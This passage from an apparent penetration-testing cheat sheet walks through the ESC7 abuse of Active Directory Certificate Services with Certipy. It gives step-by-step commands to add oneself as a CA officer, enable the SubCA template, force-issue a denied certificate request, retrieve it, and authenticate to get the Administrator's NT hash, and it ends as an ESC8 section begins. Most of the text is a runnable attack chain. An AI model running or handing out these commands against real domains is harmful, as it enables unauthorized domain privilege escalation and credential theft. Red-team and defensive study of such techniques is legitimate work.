In order for this technique to work, the user must also have the Manage Certificates access right, and the certificate template SubCA must be enabled. With the Manage CA access right, we can fulfill these prerequisites. If you only have the Manage CA access right, you can grant yourself the Manage Certificates access right by adding your user as a new officer.
1
certipy ca -ca ca -add-officer username -username username@domain -password password -dc-ip ip -dns-tcp -ns ip
Enable the SubCA template on the CA using the -enable-template parameter. By default, the SubCA template is enabled.
1
certipy ca -ca ca -enable-template SubCA -username username@domain -password password -dc-ip ip -dns-tcp -ns ip
This request will be denied, but we will save the private key and note down the request ID.
1
certipy req -username username@domain -password password -ca ca -target ip -template SubCA -upn username@domain
With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request <request ID> parameter.
1
certipy ca -ca ca -issue-request request_ID -username username@domain -password password
And finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter.
1
certipy req -username username@domain -password password -ca ca -target ip -retrieve request_ID
Authenticate with the certificate and get the NT hash of the Administrator
1
certipy auth -pfx $pfx -domain domain -username username -dc-ip ip
ESC8
If there is an ADCS Server that is not on the DC and has Web Enrollement activated we might be able to exploit ESC8.